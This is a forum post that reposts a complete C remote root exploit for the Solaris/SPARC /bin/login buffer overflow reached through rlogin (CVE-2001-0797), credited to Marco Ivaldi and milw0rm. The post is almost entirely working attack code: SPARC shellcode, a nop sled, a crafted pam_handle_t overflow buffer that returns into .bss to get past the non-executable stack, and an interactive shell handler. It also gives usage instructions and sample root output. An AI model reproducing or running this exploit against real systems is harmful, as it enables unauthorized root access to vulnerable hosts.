发新话题
打印

Solaris/SPARC 2.5.1/2.6/7/8 rlogin /bin/login Buffer Overflow

Solaris/SPARC 2.5.1/2.6/7/8 rlogin /bin/login Buffer Overflow

文章作者:Marco Ivaldi <raptor@0xdeadbeef.info>
复制内容到剪贴板
代码:
/*
* $Id: raptor_rlogin.c,v 1.1 2004/12/04 14:44:38 raptor Exp $
*
* raptor_rlogin.c - (r)login, Solaris/SPARC 2.5.1/2.6/7/8
* Copyright (c) 2004 Marco Ivaldi <[email]raptor@0xdeadbeef.info[/email]>
*
* Buffer overflow in login in various System V based operating systems
* allows remote attackers to execute arbitrary commands via a large number
* of arguments through services such as telnet and rlogin (CVE-2001-0797).
*
* Dedicated to my beautiful croatian ladies (hello Zrinka!) -- August 2004
*
* This remote root exploit uses the (old) System V based /bin/login
* vulnerability via the rlogin attack vector, returning into the .bss
* section to effectively bypass the non-executable stack protection
* (noexec_user_stack=1 in /etc/system).
*
* Many thanks to scut <[email]scut@nb.in-berlin.de[/email]> (0dd) for his elite pam_handle_t
* technique (see 7350logout.c), also thanks to inode <[email]inode@deadlocks.info[/email]>.
*
* Usage (must be root):
* # gcc raptor_rlogin.c -o raptor_rlogin -Wall
* [on solaris: gcc raptor_rlogin.c -o raptor_rlogin -Wall -lxnet]
* # ./raptor_rlogin -h 192.168.0.50
* [...]
* # id;uname -a;uptime;
* uid=0(root) gid=0(root)
* SunOS merlino 5.8 Generic_108528-13 sun4u sparc SUNW,Ultra-5_10
*  7:45pm  up 12 day(s), 18:42,  1 user,  load average: 0.00, 0.00, 0.01
* #
*
* Vulnerable platforms (SPARC):
* Solaris 2.5.1 without patch 106160-02 [untested]
* Solaris 2.6 without patch 105665-04 [untested]
* Solaris 7 without patch 112300-01 [untested]
* Solaris 8 without patch 111085-02 [tested]
*/

#include <errno.h>
#include <fcntl.h>
#include <netdb.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define    INFO1    "raptor_rlogin.c - (r)login, Solaris/SPARC 2.5.1/2.6/7/8"
#define    INFO2    "Copyright (c) 2004 Marco Ivaldi <[email]raptor@0xdeadbeef.info[/email]>"

#define    BUFSIZE    3000            // max size of the evil buffer
#define    RETADDR    0x27184            // retaddr, should be reliable
#define    TIMEOUT    10            // net_read() default timeout
#define    CMD    "id;uname -a;uptime;\n"    // executed upon exploitation

char sc[] = /* Solaris/SPARC special shellcode (courtesy of inode) */
/* execve() + exit() */
"\x94\x10\x20\x00\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b\xcb\xdc"
"\xa2\x14\x63\x68\xd4\x23\xbf\xfc\xe2\x23\xbf\xf8\xe0\x23\xbf\xf4"
"\x90\x23\xa0\x0c\xd4\x23\xbf\xf0\xd0\x23\xbf\xec\x92\x23\xa0\x14"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x82\x10\x20\x01\x91\xd0\x20\x08";

char sparc_nop[] = /* Solaris/SPARC special nop (xor %sp, %sp, %o0) */
"\x90\x1b\x80\x0e";

/* prototypes */
int    exploit_addchar(unsigned char *ww, unsigned char wc);
void    fatalerr(char *func, char *error, int fd);
int    net_connect(char *host, int port, int timeout);
int    net_read(int fd, char *buf, int size, int timeout);
int    net_resolve(char *host);
int    sc_copy(unsigned char *buf, char *str, long len);
void    set_val(char *buf, int pos, int val);
void    shell(int fd);
void    usage(char *progname);

/*
* main()
*/
int main(int argc, char **argv)
{
    char    buf[BUFSIZE], *p = buf;
    char    c, *host = NULL, term[] = "vt100/9600";
    int    fd, i, found, len;
    int    timeout = TIMEOUT, debug = 0;

    /* print exploit information */
    fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);

    /* parse command line */
    if (argc < 2)
        usage(argv[0]);

    while ((c = getopt(argc, argv, "dh:t:")) != EOF)
        switch(c) {
        case &#39;h&#39;:
            host = optarg;
            break;
        case &#39;t&#39;:
            timeout = atoi(optarg);
            break;
        case &#39;d&#39;:
            debug = 1;
            break;
        default:
            usage(argv[0]);
        }

    if (!host)
        usage(argv[0]);

    /* connect to the target host */
    fd = net_connect(host, 513, 10);
    fprintf(stderr, "# connected to remote host: %s\n", host);

    /* signal handling */
    signal(SIGPIPE, SIG_IGN);

    /* begin the rlogin session */
    memset(buf, 0, sizeof(buf));

    if (send(fd, buf, 1, 0) < 0)
        fatalerr("send", strerror(errno), fd);

    if (net_read(fd, buf, sizeof(buf), timeout) < 0)
        fatalerr("error", "Timeout reached in rlogin session", fd);

    /* dummy rlogin authentication */
    memcpy(p, "foo", 3);        // local login name
    p += 4;
    memcpy(p, "bar", 3);        // remote login name
    p += 4;
    memcpy(p, term, sizeof(term));    // terminal type
    p += sizeof(term);

    fprintf(stderr, "# performing dummy rlogin authentication\n");
    if (send(fd, buf, p - buf, 0) < 0)
        fatalerr("send", strerror(errno), fd);

    /* wait for password prompt */
    found = 0;
    memset(buf, 0, sizeof(buf));

    while (net_read(fd, buf, sizeof(buf), timeout)) {
        if (strstr(buf, "assword: ") != NULL) {
            found = 1;
            break;
        }
        memset(buf, 0, sizeof(buf));
    }

    if (!found)
        fatalerr("error", "Timeout waiting for password prompt", fd);

    /* send a dummy password */
    if (send(fd, "pass\n", 5, 0) < 0)
        fatalerr("send", strerror(errno), fd);

    /* wait for login prompt */
    found = 0;
    memset(buf, 0, sizeof(buf));

    fprintf(stderr, "# waiting for login prompt\n");
    while (net_read(fd, buf, sizeof(buf), timeout)) {
        if (strstr(buf, "ogin: ") != NULL) {
            found = 1;
            break;
        }
        memset(buf, 0, sizeof(buf));
    }

    if (!found)
        fatalerr("error", "Timeout waiting for login prompt", fd);

    fprintf(stderr, "# returning into 0x%08x\n", RETADDR);

    /* for debugging purposes */
    if (debug) {
        printf("# debug: press enter to continue");
        scanf("%c", &c);
    }

    /* prepare the evil buffer */
    memset(buf, 0, sizeof(buf));
    p = buf;

    /* login name */
    memcpy(p, "foo ", 4);
    p += 4;

    /* return address (env) */
    set_val(p, 0, RETADDR);
    p += 4;
    memcpy(p, " ", 1);
    p++;

    /* trigger the overflow (env) */
    for (i = 0; i < 60; i++, p += 2)
        memcpy(p, "a ", 2);

    /* padding */
    memcpy(p, " BBB", 4);
    p += 4;

    /* nop sled and shellcode */
    for (i = 0; i < 398; i++, p += 4)
        memcpy(p, sparc_nop, 4);
    p += sc_copy(p, sc, sizeof(sc) - 1);

    /* padding */
    memcpy(p, "BBB ", 4);
    p += 4;

    /* pam_handle_t: minimal header */
    memcpy(p, "CCCCCCCCCCCCCCCC", 16);
    p += 16;
    set_val(p, 0, RETADDR);    // must be a valid address
    p += 4;
    set_val(p, 0, 0x01);
    p += 4;

    /* pam_handle_t: NULL padding */
    for (i = 0; i < 52; i++, p += 4)
        set_val(p, 0, 0x00);

    /* pam_handle_t: pameptr must be the 65th ptr */
    memcpy(p, "\x00\x00\x00 AAAA\n", 9);
    p += 9;

    /* send the evil buffer, 256 chars a time */
    len = p - buf;
    p = buf;
    while (len > 0) {
        fprintf(stderr, "#");
        i = len > 0x100 ? 0x100 : len;
        send(fd, p, i, 0);
        len -= i;
        p += i;
        if (len)
            send(fd, "\x04", 1, 0);
        usleep(500000);
    }
    fprintf(stderr, "\n");
   
    /* wait for password prompt */
    found = 0;
    memset(buf, 0, sizeof(buf));

    fprintf(stderr, "# evil buffer sent, waiting for password prompt\n");
    while (net_read(fd, buf, sizeof(buf), timeout)) {
        if (strstr(buf, "assword: ") != NULL) {
            found = 1;
            break;
        }
        memset(buf, 0, sizeof(buf));
    }

    if (!found)
        fatalerr("error", "Most likely not vulnerable", fd);

    fprintf(stderr, "# password prompt received, waiting for shell\n");

    if (send(fd, "pass\n", 5, 0) < 0)
        fatalerr("send", strerror(errno), fd);

    /* wait for shell prompt */
    memset(buf, 0, sizeof(buf));
    found = 0;

    while (net_read(fd, buf, sizeof(buf), timeout)) {
        if (strstr(buf, "# ") != NULL) {
            found = 1;
            break;
        }
        memset(buf, 0, sizeof(buf));
    }

    if (!found)
        fatalerr("error", "Most likely not vulnerable", fd);

    /* connect to the remote shell */
    fprintf(stderr, "# shell prompt detected, successful exploitation\n\n");
    shell(fd);

    exit(0);
}

/*
* exploit_addchar(): char translation for pam (ripped from scut)
*/
int exploit_addchar(unsigned char *ww, unsigned char wc)
{
    unsigned char * wwo = ww;

    switch (wc) {
    case (&#39;\\&#39;):
        *ww++ = &#39;\\&#39;;
        *ww++ = &#39;\\&#39;;
        break;
    case (0xff):
    case (&#39;\n&#39;):
    case (&#39; &#39;):
    case (&#39;\t&#39;):
        *ww++ = &#39;\\&#39;;
        *ww++ = ((wc & 0300) >> 6) + &#39;0&#39;;
        *ww++ = ((wc & 0070) >> 3) + &#39;0&#39;;
        *ww++ = (wc & 0007) + &#39;0&#39;;
        break;
    default:
        *ww++ = wc;
        break;
    }

    return (ww - wwo);
}

/*
* fatalerr(): error handling routine
*/
void fatalerr(char *func, char *error, int fd)
{
    fprintf(stderr, "%s: %s\n", func, error);
    close(fd);
    exit(1);
}

/*
* net_connect(): simple network connect with timeout
*/
int net_connect(char *host, int port, int timeout)
{
    int            fd, i, flags, sock_len;
    struct sockaddr_in    sin;
    struct timeval        tv;
    fd_set            fds;

    /* allocate a socket */
    if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
        perror("socket");
        exit(1);
    }

    /* bind a privileged port (FIXME) */
    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = htonl(INADDR_ANY);
    for (i = 1023; i > 0; i--) {
        sin.sin_port = htons(i);
        if (!(bind(fd, (struct sockaddr *)&sin, sizeof(sin))))
            break;
    }
    if (i == 0)
        fatalerr("error", "Can&#39;t bind a privileged port (must be root)", fd);

    /* resolve the peer address */
    sin.sin_port = htons(port);
    if (!(sin.sin_addr.s_addr = net_resolve(host)))
        fatalerr("error", "Can&#39;t resolve hostname", fd);

    /* set non-blocking */
    if ((flags = fcntl(fd, F_GETFL, 0)) < 0)
        fatalerr("fcntl", strerror(errno), fd);
    if (fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0)
        fatalerr("fcntl", strerror(errno), fd);

    /* connect to remote host */
    if (!(connect(fd, (struct sockaddr *)&sin, sizeof(sin)))) {
        if (fcntl(fd, F_SETFL, flags) < 0)
            fatalerr("fcntl", strerror(errno), fd);
        return(fd);
    }
    if (errno != EINPROGRESS)
        fatalerr("error", "Can&#39;t connect to remote host", fd);

    /* set timeout */
    tv.tv_sec = timeout;
    tv.tv_usec = 0;

    /* setup select structs */
    FD_ZERO(&fds);
    FD_SET(fd, &fds);

    /* select */
    if (select(FD_SETSIZE, NULL, &fds, NULL, &tv) <= 0)
        fatalerr("error", "Can&#39;t connect to remote host", fd);
   
    /* check if connected */
    sock_len = sizeof(sin);
    if (getpeername(fd, (struct sockaddr *)&sin, &sock_len) < 0)
        fatalerr("error", "Can&#39;t connect to remote host", fd);
    if (fcntl(fd, F_SETFL, flags) < 0)
        fatalerr("fcntl", strerror(errno), fd);
    return(fd);
}

/*
* net_read(): non-blocking read from fd
*/
int net_read(int fd, char *buf, int size, int timeout)
{
    fd_set        fds;
    struct timeval    wait;
    int        n = -1;

    /* set timeout */
    wait.tv_sec = timeout;
    wait.tv_usec = 0;

    memset(buf, 0, size);

    FD_ZERO(&fds);
    FD_SET(fd, &fds);

    /* select with timeout */
    if (select(FD_SETSIZE, &fds, NULL, NULL, &wait) < 0) {
        perror("select");
        exit(1);
    }

    /* read data if any */
    if (FD_ISSET(fd, &fds))
        n = read(fd, buf, size);

    return n;
}

/*
* net_resolve(): simple network resolver
*/
int net_resolve(char *host)
{
    struct in_addr    addr;
    struct hostent    *he;

    memset(&addr, 0, sizeof(addr));

    if ((addr.s_addr = inet_addr(host)) == -1) {
        if (!(he = (struct hostent *)gethostbyname(host)))
            return(0);
        memcpy((char *)&addr.s_addr, he->h_addr, he->h_length);
    }
    return(addr.s_addr);
}

/*
* sc_copy(): copy the shellcode, using exploit_addchar()
*/
int sc_copy(unsigned char *buf, char *str, long len)
{
    unsigned char    *or = buf;
    int         i;

    for(i = 0; i < len; i++)
        buf += exploit_addchar(buf, str[i]);

    return(buf - or);
}

/*
* set_val(): copy a dword inside a buffer
*/
void set_val(char *buf, int pos, int val)
{
    buf[pos] =    (val & 0xff000000) >> 24;
    buf[pos + 1] =    (val & 0x00ff0000) >> 16;
    buf[pos + 2] =    (val & 0x0000ff00) >> 8;
    buf[pos + 3] =    (val & 0x000000ff);
}

/*
* shell(): semi-interactive shell hack
*/
void shell(int fd)
{
    fd_set    fds;
    char    tmp[128];
    int    n;

    /* quote Hvar 2004 */
    fprintf(stderr, "\"Da Bog da ti se mamica nahitavala s vragom po dvoristu!\" -- Bozica (Hrvatska)\n\n");

    /* execute auto commands */
    write(1, "# ", 2);
    write(fd, CMD, strlen(CMD));

    /* semi-interactive shell */
    for (;;) {
        FD_ZERO(&fds);
        FD_SET(fd, &fds);
        FD_SET(0, &fds);

        if (select(FD_SETSIZE, &fds, NULL, NULL, NULL) < 0) {
            perror("select");
            break;
        }

        /* read from fd and write to stdout */
        if (FD_ISSET(fd, &fds)) {
            if ((n = read(fd, tmp, sizeof(tmp))) < 0) {
                fprintf(stderr, "Goodbye...\n");
                break;
            }
            if (write(1, tmp, n) < 0) {
                perror("write");
                break;
            }
        }

        /* read from stdin and write to fd */
        if (FD_ISSET(0, &fds)) {
            if ((n = read(0, tmp, sizeof(tmp))) < 0) {
                perror("read");
                break;
            }
            if (write(fd, tmp, n) < 0) {
                perror("write");
                break;
            }
        }
    }

    close(fd);
    exit(1);
}

void usage(char *progname)
{
    fprintf(stderr, "usage: %s [-h host] [-t timeout] [-d]\n\n", progname);
    fprintf(stderr, "-h host\t\tdestination ip or fqdn\n");
    fprintf(stderr, "-t timeout\tnet_read() timeout (default: %d)\n", TIMEOUT);
    fprintf(stderr, "-d\t\tturn on debug mode\n\n");
    exit(1);
}
//milw0rm.com
qq310926是我唯一用号,除此之外有其他号码号自称邪八冰血封情,则非本人。

TOP

发新话题